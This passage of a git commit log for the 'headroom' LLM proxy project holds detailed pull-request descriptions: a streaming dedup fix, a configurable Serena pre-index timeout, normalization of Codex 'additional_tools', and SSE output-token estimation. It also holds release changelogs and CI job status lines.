- `stream=True` (the `wrap copilot` shape): both copies forwarded
byte-verbatim, no `[↑NL same as msg M]` pointer anywhere.
- `stream=False` (buffered, retrieval tool injectable): the repeated
span still folds to a pointer; the earliest copy stays verbatim as the
in-context original.
- Observed result: BEFORE, the streaming leg fails with the pointer
present in the upstream body (same
`transforms=router:cross_turn_dedup:N` evidence seen in proxy.log when
the bug bit). AFTER, streaming keeps verbatim bytes and buffered keeps
folding; the full touched-module suite (423 tests) is green.
- Not tested: a live `wrap copilot` session against the real Copilot API
(needs a subscription token; the in-process test captures the identical
upstream body the handler produces). The Responses API path
(`_dedup_responses_output_items`, Codex) is intentionally untouched:
Responses streaming has a separate buffered-CCR path that can intercept
tool calls. `/v1/compress` derived pipelines keep the default
(recoverable) behavior. Separately worth verifying in a follow-up:
whether `headroom_retrieve` resolves `msg M` dedup pointers on the paths
that keep folding, or only CCR `hash=` content markers (the
Anthropic-path fold is retained per the issue's scope, where it has not
been observed to cause retry loops).

## Runtime Rollout Safety

- Rollout-managed feature(s): none
- Minimum rollout channel: N/A
- Stable/default behavior changed: only the OpenAI chat-completions
request path, and only when cross-turn dedup is active (opt-in
`HEADROOM_DEDUPE=1`, or cold-prefix recompaction): streaming chat now
keeps repeated tool-output bytes verbatim instead of emitting `[↑NL same
as msg M]` pointers, and (because `--lossless` forces
`ccr_inject_tool=False`) buffered chat in lossless mode does the same.
Buffered chat with CCR on, Anthropic, Responses, and `/v1/compress` are
byte-identical to before (default `cross_turn_dedup_recoverable=True`;
the Responses fold is covered by the untouched, still-green
`tests/test_responses_cross_turn_dedup.py`).
- Kill switch / disable path: dedup remains opt-in via
`HEADROOM_DEDUPE`; the gate itself can be overridden per request by
passing `cross_turn_dedup_recoverable=True`.
- Unsafe override required: no
- Qualification impact: none
- Rollback path: revert the single commit; no state, schema, or config
migration involved.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation (docstrings
+ config comments)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A

## Additional Notes

- Mirrors the existing recoverability precedent: the lossy path already
refuses to emit unrecoverable output (`lossy_unrecoverable_skipped`,
issue #1307); this extends the same posture to cross-turn dedup folds.
- The gate reuses `_should_inject_openai_chat_ccr_tool`, the predicate
that already decides whether the chat path can redeem an injected
retrieval tool, so the two can never drift apart.
- Prefer-false-negatives posture: a skipped fold only ever means bytes
stay verbatim; no content is dropped, reordered, or lossy-transformed by
this change.
- Secondary operational bug noticed while diagnosing (NOT fixed here,
separate issue candidate): all concurrent proxy processes write the same
`~/.headroom/logs/proxy.log` with independent rotating handlers, so
rotation stomps history across `wrap` instances on different ports.
- Local environment note: `cargo test` on this machine hangs inside
`crates/headroom-core/tests/kompress_parity.rs` (both tests stall in
`ort` ONNX-runtime environment init, reproducible on the untouched
branch base; this PR changes no Rust). With those two tests skipped, the
full Rust suite is green (all targets `ok`, 0 failed). `cargo clippy
--all-targets` and `cargo fmt --all -- --check` pass as-is.
2026-08-21 15:51:05 -07:00
Ayush Kumar Jha 202c1895e1 fix(wrap): make the Serena pre-index stall budget configurable (#3183)
## Description

`headroom wrap` blocks the agent launch on a synchronous Serena
pre-index whose
300-second ceiling is a hardcoded module constant. When indexing exceeds
it the user
waits the full five minutes, the work is discarded (`Serena: pre-index
timed out (will
index on demand)`), and nothing — env var, flag, or config — can shrink
that budget.

Closes #3093

### Why this is still open after #2938

`_serena_project_skip_reason` keeps the pre-index off non-project roots,
which covers
the reporter's two repro directories. But it **defers the stall by one
wrap rather than
removing it**: as that function's own docstring notes, Serena's MCP
server generates
`project.yml` itself on first start, "so the pre-index simply resumes
from the next wrap
onwards." A parent-of-many-repos directory therefore gets claimed during
the first
session and pays the full 300s budget on every wrap after that. The
reporter's remaining
ask — "I'd also like the pre-index timeout to be configurable" — is the
unfixed half.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Added `HEADROOM_SERENA_INDEX_TIMEOUT` and
`_resolve_serena_index_timeout_seconds()`, modelled on the existing
`_resolve_wrap_proxy_timeout_seconds()` in the same module.
- `_index_serena_project` resolves the budget after the `uvx` guard and
passes it to `communicate()` instead of the bare constant.
- `_SERENA_INDEX_TIMEOUT = 300` stays as the default, so unset behavior
is unchanged.
- Added 19 tests covering the resolver and the pre-index call path.

### Deliberate divergence from the proxy-timeout precedent

`_resolve_wrap_proxy_timeout_seconds` raises `RuntimeError` on a bad
value, which is
right for a subsystem the wrap cannot proceed without. The pre-index is
documented as
best-effort and non-fatal, so raising there would let a typo'd env var
abort a launch
that would otherwise succeed. An unusable value instead warns and falls
back to 300s.
The warning is unconditional (not gated on `--verbose`) because a knob
that looks
applied but is not is the failure this issue reports.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ python -m pytest tests/test_cli/test_wrap_serena_boost.py -q
43 passed, 1 skipped, 1 warning in 1.13s       # 24 pre-existing + 19 new

# the same 19 tests against the unpatched tree:
18 failed, 1 passed, 24 deselected             # the 1 passer is a pre-existing test caught by -k

$ python -m pytest tests/test_cli/ -q
3 failed, 696 passed, 2 skipped in 57.80s
# the 3 are pre-existing Windows failures (symlink handling in test_recover_codex.py
# and test_unwrap_claude.py); they fail identically on an unpatched tree.

$ python -m ruff check headroom/cli/wrap.py tests/test_cli/test_wrap_serena_boost.py
All checks passed!
$ python -m ruff format --check headroom/cli/wrap.py tests/test_cli/test_wrap_serena_boost.py
2 files already formatted
$ python -m mypy headroom/cli/wrap.py
Success: no issues found in 1 source file
```

Regression check across all 42 test modules that import
`headroom.cli.wrap`, run in both
states with the working tree md5-verified before each run: identical
81-line
failure/error set, +19 passing with the fix.

## Real Behavior Proof

- Environment: Windows 11 Home 26200, Python 3.11.9, headroom at 0.36.2
(`5e0ce24`). Serena/`uvx` are not installed on this machine and the Rust
`_core` extension is not built (no Rust toolchain), so a full `headroom
wrap claude` could not be launched — see `Not tested`.
- Exact command / steps: drove the real `_index_serena_project()` with a
real child process, a real process group, real
`communicate(timeout=...)`, real `TimeoutExpired`, and the real
`_kill_serena_index_tree`, timing each phase with a monotonic clock at
`HEADROOM_SERENA_INDEX_TIMEOUT=2` and `=4`. Only *which* binary runs was
substituted (a 120s sleeper in place of `serena project index`), since
the timeout logic is indifferent to the callee.
- Observed result: the configured budget controls the wait exactly — a
2s budget waits 2.02s and a 4s budget waits 4.02s, where before the
change the same harness reports 300s regardless of any env var set. Full
output below.
- Not tested: an end-to-end `headroom wrap claude/opencode` against a
real `serena project index` (uvx/serena unavailable here); non-Windows
platforms; the interaction with a genuinely large monorepo index.

```text
budget=2s | waited  2.02s for timeout | teardown 10.02s | total 12.03s
budget=4s | waited  4.02s for timeout | teardown 10.02s | total 14.03s

misconfigured value:
  Serena: ignoring HEADROOM_SERENA_INDEX_TIMEOUT='30s' (want a positive integer
  number of seconds) - using 300s
  -> resolved to 300s, no exception raised
```

### Incidental finding (not addressed here)

On Windows, `_kill_serena_index_tree` adds a constant ~10s after any
timed-out
pre-index — one of its two 10s bounds (`taskkill` / `proc.wait`) is hit
every time. So a
2s budget still costs ~12s wall clock. That is pre-existing #2938 code
untouched by this
PR, but it caps how small the stall can usefully get and may deserve its
own issue.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is a plain env var, not a
rollout-channel feature.
- Minimum rollout channel: n/a — available on every channel, inert
unless set.
- Stable/default behavior changed: no — unset resolves to the existing
300s constant.
- Kill switch / disable path: unset `HEADROOM_SERENA_INDEX_TIMEOUT`;
skipping the pre-index entirely remains `--no-serena`.
- Unsafe override required: no.
- Qualification impact: none — no change to compression, proxy, or
provider behavior.
- Rollback path: revert the commit; no persisted state, no migration, no
config to clean up.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

**Alternatives considered.** A CLI flag (`--serena-index-timeout`) is
more discoverable
but has to be threaded through four `wrap` subcommands, adds CLI surface
that
CONTRIBUTING gates behind maintainer sign-off, and would not reach `wrap
... -- agents`
sessions. Making the pre-index asynchronous removes the stall outright
and is arguably
the better end state, but it is an architectural change and would reopen
the
orphaned-grandchild failure mode #2938 just closed. Auto-scaling the
budget by project
size reintroduces the kind of hand-maintained heuristic #2938
deliberately removed.

**What this does not solve.** The default is still 300s, so a user who
never sets the
variable still stalls; the reporter's third point (using Serena in
background agent
sessions launched from a parent directory) is a Serena-semantics
question rather than a
headroom defect; and an in-flight pre-index is still not interruptible.

**Open questions for maintainers.**

1. Should `0` mean "skip the pre-index" instead of being rejected? I
kept the
proxy-timeout precedent (reject `<= 0`) since `--no-serena` already
covers disabling,
   but the other reading is defensible.
2. `HEADROOM_WRAP_PROXY_TIMEOUT` — the closest precedent — is not in
`docs/content/docs/configuration.mdx`, so I matched it and left docs
alone. Happy to
   add a row if you would rather document it.
3. If you consider a new env knob a feature rather than part of this
bug, say so and I
   will hold for a maintainer sign-off before you spend review time.

Documentation: no `CHANGELOG.md` edit (release-please generates it from
the PR title).
2026-08-21 14:59:53 -07:00
JD Davis 87e71dd100 chore: release 0.36.3 (#3188)
🤖 I have created a release *beep* *boop*
---


##
[0.36.3](https://github.com/headroomlabs-ai/headroom/compare/v0.36.2...v0.36.3)
(2026-08-21)


### Bug Fixes

* **proxy/responses:** lift Codex &gt;= 0.149.0 additional_tools into
top-level tools
([#3186](https://github.com/headroomlabs-ai/headroom/issues/3186))
([25ca580](https://github.com/headroomlabs-ai/headroom/commit/25ca580825b6d1eef385042fd9524e2da2b2baee))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
v0.36.3
2026-08-21 14:57:44 -07:00
gglucass 25ca580825 fix(proxy/responses): lift Codex >= 0.149.0 additional_tools into top-level tools (#3186)
Dev Containers / validate (.devcontainer/devcontainer.json, default) (push) Waiting to run
Dev Containers / validate (.devcontainer/memory-stack/devcontainer.json, memory-stack) (push) Waiting to run
Dev Containers / validate-worktree (push) Waiting to run
Init Native E2E / init-native (macos-latest, claude) (push) Waiting to run
Init Native E2E / init-native (macos-latest, codex) (push) Waiting to run
Init Native E2E / init-native (macos-latest, copilot) (push) Waiting to run
Init Native E2E / init-native (ubuntu-latest, claude) (push) Waiting to run
Init Native E2E / init-native (ubuntu-latest, codex) (push) Waiting to run
Init Native E2E / init-native (ubuntu-latest, copilot) (push) Waiting to run
Install Native E2E / install-native (macos-latest) (push) Waiting to run
Install Native E2E / install-native (ubuntu-latest) (push) Waiting to run
OpenCode Plugin / typecheck + build + test (push) Waiting to run
Wrap Native E2E / wrap-native (macos-latest) (push) Waiting to run
Wrap Native E2E / wrap-native (ubuntu-latest) (push) Waiting to run
CI / test (1) (push) Has been cancelled
CI / test (2) (push) Has been cancelled
CI / test (3) (push) Has been cancelled
CI / test (4) (push) Has been cancelled
CI / changes (push) Has been cancelled
CI / lint (push) Has been cancelled
CI / build-wheel (push) Has been cancelled
CI / build-wheel-windows (push) Has been cancelled
CI / prefetch-model (push) Has been cancelled
CI / test-extras (push) Has been cancelled
CI / test-agno (push) Has been cancelled
CI / test-dashboard-ui (push) Has been cancelled
CI / commitlint (push) Has been cancelled
CI / build (push) Has been cancelled
CI / workflow-validation (push) Has been cancelled
CI / docker-native-e2e (push) Has been cancelled
CI / windows-native-wrapper (push) Has been cancelled
CI / macos-native-wrapper (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime name:]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code name:code]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-slim name:code-slim]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-nonroot name:nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-slim name:slim]) (push) Has been cancelled
Docker / docker-build (map[name:amd64 platform:linux/amd64 runs_on:ubuntu-24.04], map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime name:]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code name:code]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-slim name:code-slim]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-nonroot name:nonroot]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-slim name:slim]) (push) Has been cancelled
Docker / docker-build (map[name:arm64 platform:linux/arm64 runs_on:ubuntu-24.04-arm], map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime name:]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code name:code]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code-nonroot name:code-nonroot]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code-slim name:code-slim]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-code-slim-nonroot name:code-slim-nonroot]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-nonroot name:nonroot]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-slim name:slim]) (push) Has been cancelled
Docker / docker-manifest (map[bake_target:runtime-slim-nonroot name:slim-nonroot]) (push) Has been cancelled
Init E2E / docker-init-e2e (push) Has been cancelled
Merge Conflicts / merge-conflicts (push) Has been cancelled
Release Please / release-please (push) Has been cancelled
rust / rust-changes (push) Has been cancelled
rust / test (ubuntu) (push) Has been cancelled
rust / simulator e2e (macos-latest) (push) Has been cancelled
rust / simulator e2e (ubuntu-latest) (push) Has been cancelled
rust / simulator e2e (windows-latest) (push) Has been cancelled
rust / wheels (aarch64-apple-darwin) (push) Has been cancelled
rust / wheels (x86_64-unknown-linux-gnu) (push) Has been cancelled
rust / wheels (x86_64-apple-darwin) (push) Has been cancelled
rust / audit (push) Has been cancelled
rust / parity (push) Has been cancelled
Security / CodeQL (javascript-typescript) (push) Has been cancelled
Security / CodeQL (python) (push) Has been cancelled
Security / Dependency audit (pip-audit) (push) Has been cancelled
Security / Secret scan (gitleaks) (push) Has been cancelled
Wrap E2E / docker-wrap-e2e (push) Has been cancelled
## Description

Codex CLI 0.149.0 (npm `latest` since 2026-08-20 21:09 UTC) stopped
sending a top-level `tools` array on `/v1/responses` for models its
server-fetched capability cache flags (`gpt-5.6-sol`, its new default).
Tool definitions now ride inside `input` as items of a new type:

```json
{"type": "additional_tools", "tools": [ {...}, {...} ]}
```

Every tools consumer in the proxy - `tool_schema_compaction`, the
output-shaper stratum, the tools token accounting - reads only
`payload["tools"]`, so these requests classify `notools` and record
exactly zero tool-schema savings while forwarding and streaming
normally. Users on Codex <= 0.148 are unaffected; users silently lose
savings the moment their CLI updates. On our fleet the day after the
Codex release, 42 of 54 codex-primary users active in a 12h window had
savings frozen, and 0 of that day's codex new signups recorded any
savings.

This PR normalizes the new encoding to the classic one before
compression: `_lift_codex_additional_tools(payload)` concatenates the
carrier items' `tools` arrays into `payload["tools"]` and drops the
carriers from `input`, in place, once per compression pass - at the top
of `_compress_openai_responses_payload_in_executor`, the single funnel
every responses call site goes through (HTTP `/v1/responses`, WS first
and subsequent frames, passthrough). It no-ops when top-level `tools` is
already present, so classic-encoding clients pay nothing and a future
Codex reverting the change costs nothing. Normalizing (rather than
compacting inside the items and preserving the new wire shape) keeps
every downstream consumer working without touching their accounting; the
alternative shape is discussed in #3185.

Closes #3185

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/handlers/openai.py`: new module function
`_lift_codex_additional_tools(payload, *, request_id=None)` plus
`_codex_additional_tools_lift_enabled()` (env gate via
`runtime_env.getenv`, hot-reloadable); called defensively at the top of
`_compress_openai_responses_payload_in_executor` so a lift failure can
never break forwarding.
- `tests/test_openai_responses_additional_tools.py`: 8 tests - lift
shape, multi-carrier concatenation, no-op on classic encoding, no-op
without carriers / non-dict / non-list input, kill switch, logging,
empty-carrier preservation, and lift-then-compaction integration
reproducing the exact production failure (compaction returns unmodified
without the lift).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run --frozen --extra dev pytest tests/test_openai_responses_additional_tools.py tests/test_openai_responses_context_compaction.py -q
==== 18 passed in 2.71s ====

$ uv run --frozen --extra dev pytest tests/test_proxy_openai.py -q   # adjacent handler suite
==== 31 passed, 1 warning in 26.36s ====

$ uv run --frozen ruff check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
All checks passed!
$ uv run --frozen ruff format --check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
2 files already formatted
$ uv run --frozen mypy headroom/proxy/handlers/openai.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: macOS 15 (arm64), headroom-ai 0.35.0 wheel in a fresh
venv with empty state (`HOME` pointed at an empty dir), `headroom proxy
--port 6799 --no-http2 --log-messages --no-ccr`; Codex CLI 0.149.0
(standalone npm install) and 0.142.4, ChatGPT-plan OAuth, routed via a
`[model_providers]` block in `config.toml`.
- Exact command / steps: `CODEX_HOME=<test home> codex exec
--skip-git-repo-check "Run the shell command: echo headroom-test-123.
Then reply with exactly the output it printed."` against the proxy,
before and after injecting the lift (via a sitecustomize carrying the
same function); cross-checked Codex 0.142.4 default (gpt-5.5), 0.142.4
`-m gpt-5.6-sol`, and 0.149.0 `-m gpt-5.5`.
- Observed result: before - `/v1/responses compressed 59425->59425 bytes
(0 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|notools',
'output_shaper:verbosity:L2'])` despite ~12k tokens of tool schemas in
the request (Codex's own `tool_token_count` log field). After -
`/v1/responses compressed 59437->58716 bytes (608 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|tools',
'output_shaper:verbosity:L2',
'openai:responses:tool_schema_compaction'])`; the shell tool call
executed against the live ChatGPT Codex backend and returned its output,
the follow-up turn classified `mechanical_continuation|m|tools`, and the
prefix cache stayed hot (cache_hit_pct=100 on turn 2). The three
cross-check matrix cells all compress, confirming the backend accepts
the classic top-level encoding for these models and that the regression
is 0.149.0's default-model path specifically.
- Not tested: Codex over the WebSocket transport (the verified setups
pin `supports_websockets = false`; the lift sits in the shared executor
those frames also funnel through, and unit tests cover the per-frame
payload shapes); non-ChatGPT (API-key) Codex auth; models other than
gpt-5.5/gpt-5.6-sol.

## Runtime Rollout Safety

- Rollout-managed feature(s): none - not wired to the rollout system.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: only for requests carrying
`additional_tools` input items with no top-level `tools` (the Codex >=
0.149.0 default-model encoding, which today gets zero compression); all
other traffic is byte-identical.
- Kill switch / disable path: `HEADROOM_CODEX_ADDITIONAL_TOOLS_LIFT=0`
(read through `runtime_env.getenv`, so hot-reload overrides apply
without a restart).
- Unsafe override required: no.
- Qualification impact: none known.
- Rollback path: set the kill switch, or revert this single commit - the
lift is self-contained (one function + one guarded call site).

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

n/a - proxy log lines quoted under Real Behavior Proof.

## Additional Notes

- Documentation checklist item is unchecked because no user-facing docs
describe the responses tools handling; happy to add a line wherever you
track client-compat notes if you have a preferred spot.
- If you would rather preserve the new wire shape upstream (compact
inside the carrier items instead of normalizing), I am happy to rework -
trade-offs are laid out in #3185.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-21 14:12:18 -07:00
JD Davis 5e0ce242e9 chore: release 0.36.2 (#3157)
🤖 I have created a release *beep* *boop*
---


##
[0.36.2](https://github.com/headroomlabs-ai/headroom/compare/v0.36.1...v0.36.2)
(2026-08-21)


### Bug Fixes

* **copilot:** bind the minted token to the integration ID we forward
([#3164](https://github.com/headroomlabs-ai/headroom/issues/3164))
([397803a](https://github.com/headroomlabs-ai/headroom/commit/397803a9424cf184f597a2d18af82632e7b0ac70))
* **kompress:** accept ccr_original on the remote compressor
([#3162](https://github.com/headroomlabs-ai/headroom/issues/3162))
([45cb1b9](https://github.com/headroomlabs-ai/headroom/commit/45cb1b9c4824a3a609772d8828a119bdc1c31ad0))
* **proxy:** count output tokens from the stream's text, not its wire
size ([#3163](https://github.com/headroomlabs-ai/headroom/issues/3163))
([4006964](https://github.com/headroomlabs-ai/headroom/commit/4006964a037817b22437abcaf2c55b13085b4021))


### Dependencies

* bump ai from 6.0.138 to 7.0.59 in /sdk/typescript
([#2281](https://github.com/headroomlabs-ai/headroom/issues/2281))
([0891062](https://github.com/headroomlabs-ai/headroom/commit/08910624fbe4877da0789038957308dbe9be9451))
* bump ai from 6.0.149 to 7.0.59 in /docs
([#2277](https://github.com/headroomlabs-ai/headroom/issues/2277))
([f7e5d37](https://github.com/headroomlabs-ai/headroom/commit/f7e5d37f526907b2b8a22d5e7332ed3fddfa071c))
* bump md-5 from 0.10.6 to 0.11.0
([#3146](https://github.com/headroomlabs-ai/headroom/issues/3146))
([c6dd823](https://github.com/headroomlabs-ai/headroom/commit/c6dd82338434f964cd73ed2f742ad0c733bff79f))
* bump ruff from 0.16.2 to 0.16.3 in the pip-minor-patch group
([#3143](https://github.com/headroomlabs-ai/headroom/issues/3143))
([c8db13d](https://github.com/headroomlabs-ai/headroom/commit/c8db13d5ad78d9d1bcf5c43dcaeba69070f26e1f))
* bump the cargo-minor-patch group with 8 updates
([#3145](https://github.com/headroomlabs-ai/headroom/issues/3145))
([9c14e3a](https://github.com/headroomlabs-ai/headroom/commit/9c14e3aa9598a01c3cc208c8f483b5dd6398ea1f))
* bump tiktoken-rs from 0.11.0 to 0.12.0
([#3147](https://github.com/headroomlabs-ai/headroom/issues/3147))
([a307c11](https://github.com/headroomlabs-ai/headroom/commit/a307c11109de21b0d5d9648be69b0f08a40d3a4d))
* bump tokenizers from 0.22.2 to 0.23.1
([#3149](https://github.com/headroomlabs-ai/headroom/issues/3149))
([6e2e10f](https://github.com/headroomlabs-ai/headroom/commit/6e2e10f67a737d3b2d844975c1384e02637dbcc3))
* bump typescript from 5.9.3 to 7.0.2 in /plugins/openclaw
([#2279](https://github.com/headroomlabs-ai/headroom/issues/2279))
([85774fc](https://github.com/headroomlabs-ai/headroom/commit/85774fcb70b46ae44bcd3533a214d64189908622))
* bump typescript from 5.9.3 to 7.0.2 in /plugins/opencode
([#2280](https://github.com/headroomlabs-ai/headroom/issues/2280))
([a382137](https://github.com/headroomlabs-ai/headroom/commit/a382137844428820f49d9b43100fed8e492c2db2))
* update mcp requirement from &lt;2.0.0,&gt;=1.28.1 to
&gt;=1.28.1,&lt;3.0.0
([#3144](https://github.com/headroomlabs-ai/headroom/issues/3144))
([6928d19](https://github.com/headroomlabs-ai/headroom/commit/6928d1932c1136fd1c6bd724ee88d12815ecd2d6))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
v0.36.2
2026-08-20 23:09:18 -07:00
Tejas Chopra 4006964a03 fix(proxy): count output tokens from the stream's text, not its wire size (#3163)
## Description

From a user's proxy log (Copilot Chat, 0.36.x), on every streamed turn:

```
WARNING Could not parse output_tokens from SSE, estimating 8 from 334 bytes
```

When an upstream sends no usage chunk, output tokens were estimated as
`total_bytes // 40` over the **raw SSE wire** — every `data:` prefix,
JSON envelope, `role` / `finish_reason` / `id` / `model` field and
blank-line framing included.

The divisor is a fudge for "bytes per token *including framing
overhead*", so its error tracks **how chattily the answer was chunked**
rather than how long the answer was. The same text split into more
deltas scores higher purely for being split.

GitHub's Copilot CAPI is one of the upstreams that omits the usage
chunk, so this was every Copilot turn's output number — and output
tokens feed both the output-shaping savings estimate and the cost model.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- New pure module `headroom/proxy/stream_output_tokens.py`. The stream's
own text is already in the buffer at the estimation site
(`_finalize_stream_response` receives `full_sse_data`), so extract it
and count that instead of the wire.
- Handles all three forwarded surfaces: OpenAI chat
`choices[].delta.content`, OpenAI responses `*.delta`, Anthropic
`content_block_delta`.
- Counts **reasoning deltas and tool-call arguments** too — the provider
bills those as output, so omitting them would under-count exactly the
most expensive turns.
- `bytes // 40` survives only as the last resort for a stream whose text
could not be recovered. That is the upstream-error path, which reaches
the finalizer with no stream text and has no generated text to count —
so it keeps its previous behavior exactly.
- The log line named the wrong basis (it always said "from N bytes"), so
it now reports which rung produced the number.
- Parsing is I/O-free and hardened against malformed input — it runs on
the response path, where an exception would break a turn that had
already succeeded.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_stream_output_tokens.py -q
21 passed in 0.23s

$ pytest tests/ -q -k stream
502 passed, 19 skipped

$ pytest tests/ -q          # this branch
6 failed, 11394 passed, 587 skipped in 426.13s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...  (3 litellm pricing tests)

$ ruff check headroom/
All checks passed!

$ mypy headroom/proxy/stream_output_tokens.py
Success
```

Coverage includes: per-surface extraction; reasoning/tool-argument
deltas; multi-line `data:` fields (per the SSE spec); 10 malformed-input
shapes that must yield `""` rather than raise; and the two properties
that motivated the change —

- **chunk-invariance**: the same text split one-delta vs per-character
now yields the same count, where the wire estimator disagreed wildly;
- **a short answer is never recorded as zero** (integer division would
report 0 tokens for `"OK"`).

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** ran the estimator over a synthetic OpenAI
chat stream matching the reported shape.
- **Observed result:** for a 144-byte stream carrying `"Hello there,
this is the answer."` (31 chars), the old path yields `144 // 40 = 3`
tokens; the new path extracts the text and yields `8`, tagged
`estimated_text`. Chunking the same text per-character leaves the new
count unchanged while the wire count changes substantially.
- **Not tested:** no live Copilot CAPI stream was captured; SSE fixtures
are synthetic. The count remains an approximation (`chars // 4`) — this
makes the estimate track the answer instead of the framing, it does not
make it exact. Where the provider does send usage, that value is still
preferred and untouched.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** only for streams with **no**
provider usage chunk — reported output tokens become larger and more
accurate. Provider-reported usage is preferred exactly as before.
- **Kill switch / disable path:** n/a. `output_tokens_source` is already
